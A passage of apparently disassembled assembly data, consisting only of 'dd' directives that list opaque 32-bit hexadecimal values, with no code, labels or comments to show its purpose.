7ED83AE4h, 0D828C2C6h, 50AF9C2Bh, 900C0687h dd 0AA493715h, 0B608D01Dh dd 720010E8h, 5BBA09D3h, 0A9E18CE3h, 0FF703AC8h, 2A401FC4h dd 0FC91D5D4h, 600C6824h, 169E6CCFh, 38E1D2h, 0F46A0055h dd 25957051h, 0F0A01C9Eh, 6E0EA909h, 0B8D23683h, 3A479D38h dd 0E0810A82h, 62348B87h, 0AEF980B3h, 0D8C38193h, 0B0D74D44h dd 0FCBB421Dh, 98766118h, 0D13E7A8Dh, 0B7263B88h, 35F180EDh dd 0D082A971h, 0F6DA2E83h, 66302444h, 1E0F789Dh, 0A5D91815h dd 201FE172h, 103DDA24h, 0E9911Bh, 0ACDC2640h, 0DE549F73h dd 0B425B624h, 7D27D47h, 2D24C113h, 3474830h, 0B6258251h dd 19C06364h, 2A7AABA9h, 7F202967h, 0B85322D0h, 91A7B4Fh dd 4475D750h, 1C1D4000h, 0E07054C0h, 96601E7Fh, 26F014A8h dd 9081E982h, 60DE98B7h, 0E58242Ch, 920C40E3h, 1A88415Ah dd 4E288409h, 0C660189Fh, 638F6DD9h, 50B50F6Fh, 0A2005676h dd 882A2581h, 0F541B8C2h, 1680A1A6h, 40C6D920h, 148C149Ah dd 0B4FD0439h, 44A51C50h, 2A13CC95h, 20193172h, 3A0CA818h dd 22602820h, 62139DBAh, 9401C43Eh, 8EEE416Fh, 880FF045h dd 8440903Dh, 0BBA4012h, 1825F018h, 39D76DD9h, 5005F3B8h dd 73C3A260h, 61863B24h, 0A81E2709h, 0A8208883h, 9EC2504h dd 5952D043h, 2AA64814h, 0D1DC8230h, 0EAE587B0h, 77A62060h dd 0E080A0DEh, 0CF1186D8h, 1F26C580h, 2825898Ch, 74A60402h dd 628B7C40h, 0F1C8FCFDh, 0B5FA9C0Fh, 0DA640672h, 736C0048h dd 0B96962ADh, 2F05FC50h, 3329D747h, 0A8DEE800h, 0C3852B34h dd 0DB0360C0h, 8CA00AC2h, 2F2AC3E6h, 0D64C3CA6h, 0D33C400Ch dd 5838C746h, 0B8F07543h, 0A42D1086h, 82DB8440h, 33C4B467h dd 9260FCBFh, 9784638Eh, 883C4608h, 8A62EE94h, 0D275312Eh dd 83BF78A2h, 4809824h, 81217282h, 69318DEEh, 2092A9A8h dd 0BEC47FEh, 11ECFAF9h, 0BD3040F2h, 30882245h, 0E440A0FAh dd 67E9EF48h, 0B077204Bh, 0CF1F89BBh, 860F652h, 44598330h dd 8AB97306h, 765B102Ah, 4A219CACh, 3E5384A1h, 62FA3176h dd 0D8AED70Ch, 3C7F282Ah, 1D08FE47h, 23422C8Fh, 0B7C23285h dd 2BE69C00h, 264886CCh, 12DC4D0Ch, 7818FE2Fh, 8C80E738h dd 0C48D3222h, 603F9BB0h, 8460527Ah, 4C83323h, 224F0DACh dd 44B538F6h, 3B084142h, 0D6626553h, 0DF3CA273h, 3A39203Dh dd 2C669ACCh, 29318BC1h, 88AC9F6Ah, 5EC13D1Bh, 5F08501Dh dd 90E2CC44h, 0E1BC22E4h, 320A1880h, 0E9BB2486h, 7490C700h dd 388E2256h, 0C4A66165h, 0C94F0F3Ch, 55BDE160h, 56B3844Ch dd 31C41852h, 129B322Eh, 90428422h, 0A87F9C98h, 29847753h dd 830A6C5Ah, 3CC1D8C9h, 0C6085CC0h, 9D102F46h, 38CBC922h dd 868FA214h, 3CD20F29h, 63951039h, 61F77385h, 0C1998A8h dd 15594636h, 1A3C3D89h, 99689482h, 0A30CC8A8h, 8A750A21h dd 88789192h, 0EB94C7AFh, 0DC6877FCh, 3612FC88h, 1E622C02h dd 201C0F50h, 889E6621h, 26993E63h, 11A84F30h, 3052C44h dd 280C69D8h, 2143A9C1h, 9C751715h, 56C5C285h, 60F01030h dd 9C81D49Fh, 61EB9FC4h, 0EA0CFBA8h, 4910D8AEh, 7842ABBh dd 0B3066184h, 0B8AB3C52h, 880FFE9Ch, 4A257652h, 57FC2144h dd 21D1585Ch, 25D9A13Ah, 73E83058h, 18265A40h, 50372D24h dd 85607C41h, 181E2518h, 17CCB9EFh, 39DC2101h, 0BEB034AEh dd 24E253h, 5BB3F3E0h, 80813041h, 5E008E98h, 0D0C4D09h dd 31E79070h, 0BA18F413h, 87611108h, 2394EA10h, 0B19CF50Fh dd 15B7001Ch, 0FB3FF49h, 0B6A26C60h, 6DE31200h, 0E50223B2h dd 446316EDh, 6A9900B4h, 600EAF0h, 7CA3D408h, 3E261680h dd 2303426Dh, 139C93E6h, 61EB5900h, 0F32B7B62h, 214830EAh dd 3F633278h, 79E83903h, 1E3070Fh, 906D9631h, 0D4125194h dd 18C1FB5Dh, 2352EAE8h, 1F38181h, 86E26307h, 0C2D16DA9h dd 0FAE81EC8h, 0CA9B40C5h, 9D01E33Eh, 0EB2AD900h, 0E1B1920Fh dd 17632209h, 2D397300h, 0D0E90BC9h, 0B7BA1F9Fh, 7E9C2855h dd 381B61A6h, 48EEAA0Dh, 329FCA8h, 0F888A466h, 85620022h dd 7BC0FDF2h, 9407373Ah, 7146D13h, 124875B7h, 0E25700EBh dd 0A68625h, 1D0C6417h, 0FE99ED40h, 0A998F154h, 2003737Bh dd 0CCA83E6h, 1419FBFBh, 689FE898h, 0D78C5F3Ch, 745168E7h dd 988DF76h, 5F60A08Dh, 893CA062h, 0A0250096h, 0FF79F792h dd 18F097C1h, 11E3BE30h, 0A8194909h, 0F206FB90h, 1CC8C01Eh dd 169D5F7Fh, 35009EF8h, 0EDE0684Eh, 30051FE6h, 64E96031h dd 0E115E25Eh, 0AE81234h, 8CC4E425h, 44443020h, 889A7C73h dd 86176D0h, 4E989118h, 0E0B1A3h, 0A10583F1h, 670FEEF0h dd 34C769AFh, 0BE7A0448h, 9900EA79h, 0F66C05D8h, 6A8DC8A8h dd 95EC893Ch, 0CF287h, 0F5955807h, 0A0F97D41h, 3604380h dd 0D15DFA6Dh, 95BBC07Bh, 1E181EC5h, 0A6071F12h, 3A48000Fh dd 47CFFAE0h, 0F4FE81E0h, 842C4507h, 0AAE0FE49h, 7D11E1h dd 326A645Ah, 0BFC57341h, 7E6D4800h, 7F625E2Fh, 0E2B607EDh dd 0D5372640h, 0BB140E6Fh, 477E58A2h, 97F08C19h, 118DE35h dd 326EF194h, 0CF41F0D2h, 44FEA000h, 0F8B44E04h, 9182E7ABh dd 536E6022h, 58ADB200h, 37427C05h, 0D040F441h, 713429BFh dd 7710CFh, 28A974FFh, 2C59037Ah, 456D7648h, 0A8584063h dd 8A400327h, 0A71E5A61h, 873508E0h, 0F1EC5501h, 95AEFEB6h dd 0F5BE99Dh, 40D8FA16h, 92AAC9Ch, 4514A0C1h, 3C48B36Ah dd 0A628D0CCh, 0A8BD52h, 0BBC78114h, 0F05FA428h, 9470686h dd 0C0EFDF02h, 7E3A6200h, 6A063F39h, 0C2E4EB84h, 0B549C78Fh dd 0CB10C2Ch, 772A68B0h, 0F42AB423h, 841F2CE5h, 5E8C7B7Ch dd 3752115h, 6B6EE3D0h, 5FE527A6h, 49370AB8h, 289820B4h dd 888CE981h, 156AA24h, 6A4135F9h, 50043BAFh, 0E8C7EE48h dd 2DAD6300h, 0A3F30E22h, 48DF4Bh, 0AA9FAE01h, 0FE51FFB5h dd 0B23010D0h, 0F56C5576h, 14EC2C81h, 811ED72h, 74D5EF00h dd 562FCB0Dh, 78457E06h, 14E9D170h, 98224736h, 3FF08101h dd 0E3B40690h, 50B3C8D9h, 0D2A926A4h, 0E6185C07h, 0BED0E77Ah dd 545D25E1h, 0EFB880Dh, 0ABAA2D8Fh, 7AF61118h, 7F547879h dd 0B7011E88h, 0F198DCB5h, 5880F331h, 0C991A919h, 441A424Ah dd 8071A3B9h, 1E13A194h, 34008AE6h, 0F2CFED99h, 3457900h dd 2A33724Ah, 106048CCh, 87EB4682h, 80AFF1C0h, 0AA800893h dd 41337425h, 3DAE0062h, 7BD06CD4h, 4BF40310h, 4CC61800h dd 0AE65DD2Dh, 2EF00F2h, 711C24A0h, 950383D0h, 0F349039Ch dd 185ED0E5h, 47C00EF8h, 224369DDh, 2E96D7Ah, 1EB040EFh dd 0EB01F817h, 0C0F3F0E0h, 205098A7h, 0DEA608h, 4728129Dh dd 66632EEAh, 8948C301h, 85B56521h, 0DE066080h, 31A47E9Ah dd 0D130247Ch, 2CED5819h, 0E73B3D03h, 364A0286h, 5AF07806h dd 9B211863h, 0FC66E048h, 92BF00CCh, 4A4CEE03h, 1275BC18h dd 0D4E4040Fh, 2DCD0648h, 0BFCE1910h, 0E02F2047h, 0C367F392h dd 6E814611h, 31BBDA8Ch, 0E391A408h, 0D23AA143h, 7410863Ch dd 8345050h, 924A0CCEh, 131C15Bh, 106E3C28h, 5D0E4618h dd 26615AB8h, 14B403BEh, 0E105B011h, 1E336BC5h, 644F00D0h dd 5CB67421h, 0D13710C0h, 7F6E5ADh, 4E699541h, 0C4B2E329h dd 80F202E9h, 23F96CE1h, 35367B9h, 0BBD53C12h, 0C1B02A0Ah dd 0A02891C8h, 760ADCEAh, 0F809606Bh, 8D2CE01h, 0F4534950h dd 0CF46B90Dh, 87BA2880h dd 0ED474A0Bh, 24DE4B3Fh, 9C00189Fh, 0D6999A6Bh, 161801EAh dd 80CBDCFh, 5ACEE039h, 1295F540h, 56E464h, 271F6A04h dd 1850B365h, 0C20026ECh, 41EC1321h, 3B07EF5Ch, 0DA06BA39h dd 1822E9DEh, 0A657F13h, 0D4F32100h, 320E630Dh, 40B1C211h dd 9730423h, 2365D371h, 798F3423h, 0BE684008h, 38168C46h dd 7F181A0h, 0EC41E4B5h, 6C5F9C91h, 903D09E0h, 24125080h dd 0E5453796h, 6883C14Ch, 4B78835Fh, 1B20A9B0h, 507B87A8h dd 819077E1h, 9E9F7588h, 96E4E5FEh, 3D1100CEh, 6ACD3B48h dd 0BCA30CECh, 4F5585C4h, 0D886E714h, 0DD50191Bh, 0EE6ED94Ch dd 412581E8h, 7600F764h, 692CA009h, 511E24E2h, 23D28E01h dd 0E06EC675h, 0A00AA85h, 0E3DC6F4Ch, 6864B2Fh, 916245F9h dd 8A1E30C2h, 0D0C460Ah, 78E711C7h, 0C3DD2252h, 8230F564h dd 90062B22h, 0CA70F11h, 43E01329h, 5C47542Ch, 3381E900h dd 0C676538Dh, 6B0C1EF0h, 1466C1FEh, 8C3AEEC7h, 3828C3A0h dd 69240348h, 764E5FD6h, 0BF931900h, 0FE3B6860h, 0C762C0D2h dd 0E88652DCh, 76186160h, 3E625630h, 3077DD1Bh, 43F9E614h dd 0DB06E4A3h, 0C237D8ECh, 0A6E81838h, 92D9B0C0h, 78B78800h dd 29EAF2F1h, 0B95CA044h, 40427F82h, 9C669768h, 0F0593310h dd 337F780Eh, 8216660h, 5645107Fh, 0F7E180C1h, 10C31043h dd 0A658910h, 98C1827Ch, 15415E1Eh, 0B44B22D8h, 0A234A450h dd 3B7FA0Fh, 0D2642442h, 78003852h, 32F5DDDCh, 0F9206DFh dd 6FBC0BB5h, 0F34BEE80h, 0C384923h, 6561804Dh, 0D5ED29E3h dd 0E0C25148h, 0D9E00FE1h, 0DAA0A836h, 34490030h, 0B4C6986Ah dd 4C7B4E56h, 59000E76h, 0CF4AC265h, 5F7A79h, 3F72FCDEh dd 0DAC382D3h, 0ACCA8501h, 7846F9B3h, 645A5095h, 1CC3E810h dd 3C9CE145h, 630243C0h, 809D48D2h, 4C1220C3h, 0C5EF47Eh dd 0C25BD100h, 185ADE54h, 1867DD58h, 0F452DCD0h, 1C3BC078h dd 6516397h, 619CB1B4h, 0B503795Eh, 14F045FAh, 24111EC4h dd 0D7860946h, 696D102Eh, 6ACCF160h, 70498781h, 0A4518894h dd 86E9ED00h, 81E88A46h, 0FCEBCD2Ah, 3985C850h, 3022BB24h dd 4E6F1280h, 0C083E82Ah, 25657641h, 0E0025FA2h, 454DFD28h dd 74427Eh, 507E6A0h, 0E60E7CC7h, 88E71AECh, 0D83438D1h dd 0D0EE20h, 0BDECF5BFh, 0E6B3D3EAh, 0ED26F000h, 0B0BAA49Dh dd 766B0002h, 3E55D6DEh, 3C0A212Ah, 90657EE4h, 73CC1F02h dd 0D99C84FCh, 0A08110D4h, 48DC5EDFh, 1183F91Fh, 0D849F70Ch dd 0C8EE711Ch, 0AB11BC0h, 28E03F3Ch, 31C3DCEh, 0EB194CA7h dd 7082253Eh, 0C1E5A8B8h, 0EB4CA084h, 2EA1144Ch, 61E28C60h dd 574FE882h, 30D2BE19h, 1A86C3D9h, 10B266CCh, 0A82E50B0h dd 0C70E4491h, 897A2F77h, 7CC420E2h, 2850656Eh, 0C2C0FCA1h dd 8B7B5551h, 0B4778090h, 62481490h, 0C406A130h, 20216500h dd 702A9E30h, 0DCFDC7D8h, 3DCC4050h, 4BEF3E42h, 4630661Fh dd 2078C8E8h, 3C9D9C93h, 12EEC611h, 84428951h, 0E0D3531Eh dd 9955ED27h, 9900BDB8h, 434EF59Bh, 0DF613B58h, 9A2A4D99h dd 1180ECD5h, 7E55FA46h, 0CA2A471Dh, 0D33FA870h, 8B26F858h dd 42804CEDh, 0B45C23FEh, 44E64843h, 6E5FE0C1h, 41844774h dd 411DD21Eh, 0E0187874h, 4D267C69h, 138B7CC2h, 306080B1h dd 1D5BF3D3h, 1DBED6E5h, 9C54945Fh, 0ED3FE907h, 491F96D1h dd 0EEE72918h, 549DB1h, 0C2BBEB17h, 0B2C17DA0h, 36000E7Ah dd 0B495DA0Ch, 24C5C053h, 562948h, 0F6B51702h, 0E04C97DBh dd 0BC842AE0h, 0F89868F0h, 9D081C58h, 8C088514h, 8834206Bh dd 6F246409h, 0E008F8D8h, 866C00C1h, 33852630h, 65002899h dd 73E2705Fh, 0D2563B64h, 0CCC78AAh, 3F2D7E5Eh, 700C3851h dd 11DF3A19h, 98E0A4BEh, 3544924Ch, 10F9C961h, 993A148Ch dd 40093040h, 223B3596h, 427BD8C0h, 2E9C100Bh, 50C46050h dd 185AAF4Dh, 0B0A06D79h, 5F22D77Eh, 0FF2B50AAh, 0F0397264h dd 4210B8F3h, 0B30597Bh, 99544F92h, 87179A18h, 28B08B0Ch dd 611041CBh, 9800C70Ah, 0EB2B2C96h, 0E1C6725Fh, 5080086Dh dd 0A15B086Ah, 0B7107B94h, 6C120B88h, 54206544h, 11FAA34h dd 0F196B5C1h, 52EA4281h, 98985B88h, 2224E431h, 351E5424h dd 70B15840h, 2E126F49h, 43177Fh, 343155A9h, 0C984F2Bh dd 0ED87A00h, 47E33AFCh, 16C90F8h, 699EBE3Dh, 0F03580C2h dd 62A3627h, 95020C4Ch, 7D07D434h, 8BD8C0E4h, 0FDF0F5C8h dd 7B970E50h, 53EA66AEh, 0BDEF8440h, 0D6948171h, 2541E007h dd 28C24B24h, 0DD401826h, 1B53633h, 17D7B8A2h, 2043D167h dd 4F09940Ch, 0AFC83B37h, 2EA28454h, 0ABD38CC0h, 40466775h dd 0E8DCC168h, 6F1434F7h, 4C5A4818h, 48538AE8h, 8B015CF6h dd 8402D176h, 2240835Eh, 0B04FDBh, 0D0A66B58h, 0C0EDB77Bh dd 0FA80D718h, 9228AA8h, 0EBADFBD6h, 301CE007h, 0C2B8A532h dd 8238DCB3h, 9F0713D2h, 0A3E08499h, 0A57054D1h, 0C00079F5h dd 0F560BB4Fh, 0A366B58h, 26B27C57h, 80BC3F4Eh, 0E06C53ABh dd 0AA001BDEh, 35B89F90h, 0A1BA59D3h, 7ADC3EA8h, 36090175h dd 4E8F27FCh, 1F46C822h, 0E20503B8h, 0A2D8E79Eh, 452B800h dd 0C13BFE1Ch, 1FDB35B0h, 0DD488193h, 0A64B786Bh, 4CD948F3h dd 6C40360Fh, 209A0945h, 261A6384h, 26B91780h, 642448h dd 769E2D9Ah, 2C0C1667h, 0F9B429DAh, 5DF486BDh, 22AFB244h dd 0C621260Ch, 510C058h, 2222CA1Ch, 0E9D710A5h, 8047373h dd 0FB64DF3Ch, 6FA1F2Bh, 0CF97E604h, 23760881h, 9560E0D6h dd 0CC104C41h, 0C51E017Dh, 38295498h, 204835C8h, 3EECF2EBh dd 0A7C0D300h, 4EFD963Ah, 921800D1h, 6A6489Eh, 4C9840AAh dd 93147FB0h, 0E0203E88h, 8602032Bh, 0F2056078h, 94FD53A2h dd 202EC406h, 12747AF0h, 4C93DCBh, 0C023C628h, 856ABB0Dh dd 31C1C20Ch, 60B60899h, 8288208Fh, 3900EB7Bh, 0A873A060h dd 168EA498h, 411FD128h, 0BE6C3160h, 9184216Ah, 8E83C060h dd 7DFAAA7Bh, 965D001Ch, 0DA9FCF7Bh, 0D90B55BCh, 87F71688h dd 607CDF94h, 90A64C56h, 0A44B105h, 87D8C846h, 4176C340h dd 0E2D040C6h, 20B2EBFDh, 0D54D600h, 3FCB3184h, 73591D67h dd 0F0B21F3Eh, 0C9D2520h, 34B1850Fh, 0D758983Bh, 0D4C724E8h dd 222E42F0h, 14317860h, 0F268CE09h, 0C804A156h, 0F300E3EFh dd 1A00F101h, 44F8A32Ch, 5023D4h, 0CCAF0922h, 4E953884h dd 79C3E700h, 0A87D5346h, 2DFD0072h, 48EC8AA1h, 4D034105h dd 9F66B4D8h, 19A0D9D5h, 73CCE6D8h, 61E2078Dh, 70DFF770h dd 5F95D940h, 0D52F8600h, 0A2C2ABB5h, 1B22000Ch, 432873AEh dd 0D000245Ch, 0B92C9FCh, 6087Dh, 9AB316Bh, 0F58CCAECh dd 43F86001h, 0E04498ACh, 0FED97360h, 7B5400E5h, 0C5C4B932h dd 0F2008114h, 0B51CA75Fh, 59F590h, 39C80DF0h, 0DA453A29h dd 0E00061E4h, 0F894A49Ah, 0AFD332h, 0C7651E93h, 62EA5E58h dd 912AB301h, 0CF6C66CAh, 7AB05880h, 3EF7D51Bh, 4087C000h dd 115435C3h, 824F017Dh, 98E2D453h, 5870C023h, 0AE637800h dd 3FBDABA6h, 4CC71C11h, 1E1E88h, 0E1D01934h, 4907F241h dd 2BF51D39h, 4670D780h, 87910EB4h, 0B7EA9C32h, 0C27F1CBCh dd 0CAC3409h, 5801B7E3h, 75F9F888h, 23C821C9h, 0B6E300A7h dd 5A46FAD0h, 0DF00E50Fh, 378776DAh, 75741409h, 3751DA7h dd 38A59BE1h, 809CA48Fh dd 0C01CE992h, 0D714A67h, 5BD1B330h, 0BCE35F2Fh, 0B849008Ch dd 21BF409Dh, 8EFA0EBAh, 9FD6FDh, 28B17C32h, 0A0000A02h dd 9120BEA4h, 7BA961F6h, 4B320363h, 0D2BC4310h, 0CFE0B9C2h dd 0C50F93D8h, 0C00705D6h, 0B0730C48h, 29E448BDh, 39816000h dd 1B13BFAAh, 86DE2D00h, 8C5C641Dh, 98550056h, 0B4CC67ECh dd 0FF065D7Dh, 0D0D60926h, 767FF9h, 67728EBDh, 17F62EB7h dd 507AA003h, 0B82DF5BFh, 0F847CC81h, 0EF7B66h, 7ACBB9A7h dd 0D8CEF2ACh, 9B24D703h, 0BD17AD32h, 46948803h, 0DB2AE8C2h dd 0BF8D1E33h, 2CC58797h, 14CA83B2h, 0E54F0188h, 35192100h dd 0D31D8710h, 0F91600EEh, 0E4EB64E2h, 3301B643h, 39967EC8h dd 5A20F087h, 0F94E02B5h, 2EC19F1h, 0B0A8B443h, 0F038F2Fh dd 775B04A2h, 1185C851h, 919000F4h, 0EA23F1B7h, 765038D4h dd 0F707E6E4h, 0AFDD1C49h, 5F250BD0h, 0B9920097h, 3721BED2h dd 0B01D85C0h, 80C0D3ADh, 0B2C6298Eh, 32910042h, 0FA4FBECEh dd 6800A7F0h, 0D82B21C5h, 47C66Bh, 0AE759004h, 4E81EBAAh dd 109073F4h, 0B992B00h, 0FB7DCBB3h, 5E2C0084h, 710380B1h dd 0D124B6EAh, 0B80054E5h, 91D81EF0h, 0E1CD0040h, 13FF2277h dd 6400A5D9h, 398F6ED3h, 7F52E24h, 30B10BBFh, 733D60ACh dd 0A7006470h, 8D45E4D4h, 0E2B2022Bh, 53E100ECh, 3FEEC90Ch dd 0ED0F64E5h, 63B4DC34h, 0C07E76BAh, 0C93839h, 0ADF2A0B8h dd 8A6EC816h, 0CE511107h, 0FC70D5EBh, 0F2857EBFh, 0F31600AEh dd 97634293h, 5700151Eh, 0EFFB1DCFh, 0E09EBD48h, 0AA50C018h dd 0E194643Dh, 3E304A77h, 40A119FFh, 7960005Ah, 41835958h dd 1C90BC77h, 0DF7CB003h, 0B8DE7497h, 7AC6AD53h, 4D8A1F45h dd 4292C48Dh, 65C0FBFEh, 3FE9EAh, 7947C9C4h, 24093A7Bh dd 9B6A3703h, 0B8258D19h, 409C64h, 0F0D484FEh, 0D92D606Fh dd 8FED9700h, 7DA087A5h, 6BFE074Eh, 0C1A2CE19h, 202D9FB3h dd 9900EFD0h, 58BF620h, 0E5B9C8h, 43981CBDh, 503AE7A3h dd 156CDE01h, 84F6D138h, 735870h, 938D6F29h, 0E9140C2Bh dd 47600900h, 70307CBDh, 8E50004Fh, 0D3F60BBEh, 260079FDh dd 49C40D3Dh, 1C377F30h, 7126D81h, 80CFD0F0h, 3B3A60E0h dd 46BB82C1h, 28207418h, 4777AAEh, 3DADD7EBh, 0F7E48056h dd 3504D8DBh, 0D55B03CEh, 4ED12880h, 9972184Ah, 1F4710D4h dd 6AB05F00h, 2674E3F0h, 29CF008Dh, 1303E4CAh, 7B00E514h dd 0FF35D95Ch, 73EFA80Dh, 417E6095h, 1BE29D54h, 35D47154h dd 0A74B5603h, 0F0C0FEF0h, 39935827h, 0CC008EE5h, 14E3231Fh dd 0BF039AD7h, 3C768617h, 0FE3188B1h, 4CCA0038h, 0F88E4563h dd 8200A16Eh, 35C9070Dh, 0E0886ABh, 84681BBEh, 0E2B78E20h dd 807CFF56h, 0A0EDF028h, 341A31A0h, 5A073C70h, 0D02D62E5h dd 0D1C4A841h, 0F940F5DEh, 58005578h, 5AE01BE7h, 3F0298Dh dd 542CBE09h, 0CED05D2Bh, 6700C918h, 4D40AD93h, 0F19998h dd 35D483C6h, 1C4AB475h, 2DF2D100h, 0FCDE972Ch, 82F001A2h dd 4BDC12Fh, 6226DC46h, 38D27300h, 0D567657Ch, 0AC133AE3h dd 58F58480h, 97F15C19h, 8C0053F4h, 14C6ABE5h, 9C0E30h dd 3395CDDFh, 0AF3C9E79h, 0A500C4E6h, 0B1970B90h, 89E6E0h dd 0FD05892h, 0B8C73EF5h, 8D071000h, 73F601A2h, 0A2C005Fh dd 240255A1h, 2F00E689h, 68213F17h, 1C63AC5Ah, 809087EAh dd 18928F3Ch, 0FA00B586h, 0DECCE7A9h, 8B236Dh, 0C050BC04h dd 0E1F56C9Ah, 0A137AC00h, 0DB9EB396h, 8B9301DDh, 6452473Ah dd 77F840F6h, 9B00EC2Ch, 0A788128h, 3FE917E3h, 0E26C0B4h dd 57EB02D0h, 14604C1Bh, 0EC00E04Eh, 7051DC3Fh, 0C661B2h dd 219A3BFh, 0D192132Ah, 8E6F5C01h, 95A8E0EBh, 1D9D66C4h dd 0DF7E01B2h, 0B5B4029h, 0BB202FDEh, 0AD153F00h, 8162D08Ah dd 0C8BE59B7h, 240B3D00h, 0F8B03B57h, 1D03853Ah, 5009DBA7h dd 8C6C00FEh, 1840D1A3h, 0A80B8FCEh, 0A20FE9AAh, 0E45A32CFh dd 53C01BFEh, 730109ACh, 3DFC01A8h, 0A7A5845Eh, 0B135D4B7h dd 0ED27D100h, 72804DC6h, 1F6EC31h, 0BD1D2E50h, 0E0DFF2FFh dd 7C0087A8h, 0FED4C82Fh, 0DEB730h, 0DB3BF36Fh, 0BB10AFCEh dd 0D4AEA43Eh, 5D28EC98h, 0D900F037h, 0D1FCF02Eh, 0F7815BEFh dd 187560h, 118D12FDh, 63F68B3Dh, 0F8A7DC30h, 1FAFF4D6h dd 14CC85B9h, 0BC060C78h, 0F8FB9D99h, 0E02ACF30h, 759F3F1Eh dd 0AB6304DFh, 0AB71BA9Bh, 2DA8DD03h, 0DB25D84Bh, 1E5B0462h dd 80D54A55h, 0D7C68A49h, 77C9EA1Dh, 340441Eh, 4DE6CFC0h dd 2D9A0E6Fh, 90408E2Fh, 4E453707h, 5272050Eh, 0BD34C011h dd 7EDA08h, 9CD65947h, 961B0EBBh, 7F69C500h, 1738B855h dd 5060036h, 0D5D93559h, 0E6054E11h, 7B6D696Ch, 2C6AAAC0h dd 89440086h, 78F1EEB2h, 2403E226h, 613B3E65h, 0DBE5D0EFh dd 0F80E789Eh, 0B45C003Dh, 1F1A8D15h, 5A00CD45h, 2262FBF3h dd 7272DB41h, 3D3E0CD2h, 93299B3Bh, 7E7488h, 5C318EABh dd 0A7EC8170h, 3217C800h, 1D624E87h, 0FFA30030h, 0B51B604Ch dd 4928069Bh, 0EC00D352h, 476EAFE2h, 1C4D9F74h, 0C0F04F85h dd 0D2C07567h, 10007F28h, 0B6B95CCFh, 21BD6FAh, 5F74A91Dh dd 0E640467Ah, 2005BC1h, 13C9E295h, 0C301E5h, 70BCE115h dd 2C8DC889h, 0E07F30E9h, 956E0600h, 797A217Ch, 9FF700DCh dd 5FA0AF91h, 1C1C4102h, 47811DF8h, 6A7F9377h, 0BC66F4h dd 7C09273h, 18D48741h, 766E1900h, 4A2748AEh, 8DFC0024h dd 72BB9DABh, 0B20F62CAh, 20DA342Ah, 7CD97773h, 0AD352C08h dd 0BBEB0095h, 0E6DEB15Fh, 80A4643Bh, 199649AEh, 26950h dd 0A9547072h, 4A479C5Bh, 3AF5A038h, 80163AAEh, 5DD4AFB7h dd 3A551F1h, 5271F222h, 5F01068h, 0E905C3BBh, 0BF8EB8D6h dd 31D9A200h, 33C5238Bh, 0ECF2AE52h, 0CD292CA7h, 0BF7A5E00h dd 7CB669B4h, 0DB8B00C5h, 6A189B23h, 0F33B40C0h, 3EE5148Ah dd 39DD0189h, 21266DF2h, 0EF2ED0h, 0F65B4D3Dh, 710BB01Fh dd 1A0025ECh, 924FD141h, 0B754978h, 0D87B4015h, 5C8B7600h dd 0FA01F913h, 0FE32A4C7h, 4C202A96h, 3A1004F8h, 80FFDA8Ch dd 0E34A4330h, 5C26AB01h, 14B07A9Ch, 4D10C0h, 37D032CCh dd 0ECEB8D0Dh, 0A921A500h, 976D7AC8h, 0CC1839FBh, 80061F02h dd 8540B165h, 7300D9C2h, 0E8596603h, 77C07EEBh, 27B0000Ah dd 45974B96h, 64008DECh, 1AEA7F8Fh, 137E5BC7h, 0D0D702h dd 263D07F8h, 33987D82h, 58DD4300h, 12EC4439h, 0A46348B5h dd 0A666500Eh, 219C9E80h, 0FAA0F58Ah, 6200D69Dh, 0A1A554F7h dd 457D12h, 1DB86EBFh, 48B31FB7h, 0A0A39004h, 0B0C02CD5h dd 3C77E37h, 931CB8FAh, 74906160h, 4C003E3Bh, 34BBED6Ch dd 0E022BD15h, 1C480336h, 2C99A339h, 0DDD96080h, 7AB22802h dd 80D4A561h, 1EBF08F2h, 0A1C3A030h, 769A3AC3h, 0FA78E001h dd 0FC749117h, 961451A6h, 3C8287Ah, 0D146CE8Bh, 8C803D6Eh dd 9C270980h, 1E0758D9h, 82E20B01h, 4FCB2131h, 0F61DE0FCh dd 455200CAh, 4280867Dh, 0EDA0D797h, 0E300DC74h, 0E2F3D2D3h dd 0A5A44Fh, 77448850h, 0CEF9BAC7h, 0FE155324h, 3D7ACB0Eh dd 9EA57C40h, 0B4B828h, 0ACD083BCh, 0BA766FE6h, 0B8333828h dd 0A70AB01Eh, 112C8BC0h, 0AD9E81h, 0F96A16E4h, 0DFCB37A1h dd 7D4BC300h, 50449536h, 43E300DDh, 70D2FA47h, 9800A80Ah dd 472567Ah, 7D0D5FF4h dd 3CC50E37h, 7920E171h, 252C8A73h, 5B095300h, 0D697DA7h dd 0F928263Bh, 50590014h, 0EF551082h, 704E9C03h, 0D8B1877Fh dd 3CD16584h, 0FD93F081h, 23C00055h, 0BAB5690Ah, 543C3500h dd 0EDADE3E6h, 3AC00091h, 7FB171DFh, 4AF4BB1Bh, 2F0F6900h dd 0D4E0B453h, 0C31E3049h, 0A6FD79B4h, 0F94CC00h, 43EBA71Bh dd 285EA3Fh, 83F78AD6h, 80607319h, 870006BBh, 0EEAB369Eh dd 0C07DF166h, 521DA218h, 6B60A708h, 0CF239110h, 7D47541h dd 0BEDFCC26h, 296D0FFh, 0EBF83615h, 0BBB98600h, 0C88F6AD8h dd 116F3B41h, 0E3783C00h, 7F17078Ch, 8342400h, 50CBE2D1h dd 30840023h, 3B3F82D3h, 0A600F1D6h, 7A4BA42Ch, 0A57E53h dd 3E0A5EEEh, 88AFC05Ah, 19E9F700h, 9690B280h, 0F2DD76CEh dd 0A817010Ch, 417649FEh, 0D148C5C9h, 0A365DC5Ah, 6B1C7A00h dd 83F33D2Ch, 0FA171D9Ch, 4C53407Fh, 4E0A6A81h, 61ECC53Fh dd 5ABBFB1Eh, 0E960F0D1h, 0F9250044h, 0E5D6EDD5h, 0C7004D0Ah dd 63577634h, 0A0249Eh, 3D0C9785h, 0F5E34FB3h, 0A5437801h dd 60B0565Ch, 0EEDF2820h, 0E16B00F7h, 0ADCD7E3Ch, 0D000F165h dd 318C50A7h, 38163767h, 9300AC6Dh, 0EB2AFDECh, 0ED0026A8h dd 67AA503h, 48C83AA4h, 0B83C04B9h, 0FE00FE4Ch, 1F667588h dd 0E602C50Dh, 0B9C39FFAh, 0EFD04025h, 0E8991F29h, 0F9A437h dd 0DFDB86F5h, 113AAB23h, 6AA980C0h, 7B7424B5h, 20C0065h dd 39AD347Eh, 31704A1Dh, 0CD00FC90h, 70B6F8D7h, 286031Fh dd 3387901Ch, 58C0353Fh, 0AA00F3BDh, 1904CC3Ch, 7D4D22h dd 83F5203Eh, 4BB795DAh, 75378A03h, 88D95CBFh, 70E4550h dd 39F1FB7Ch, 50D52706h, 0E32CD726h, 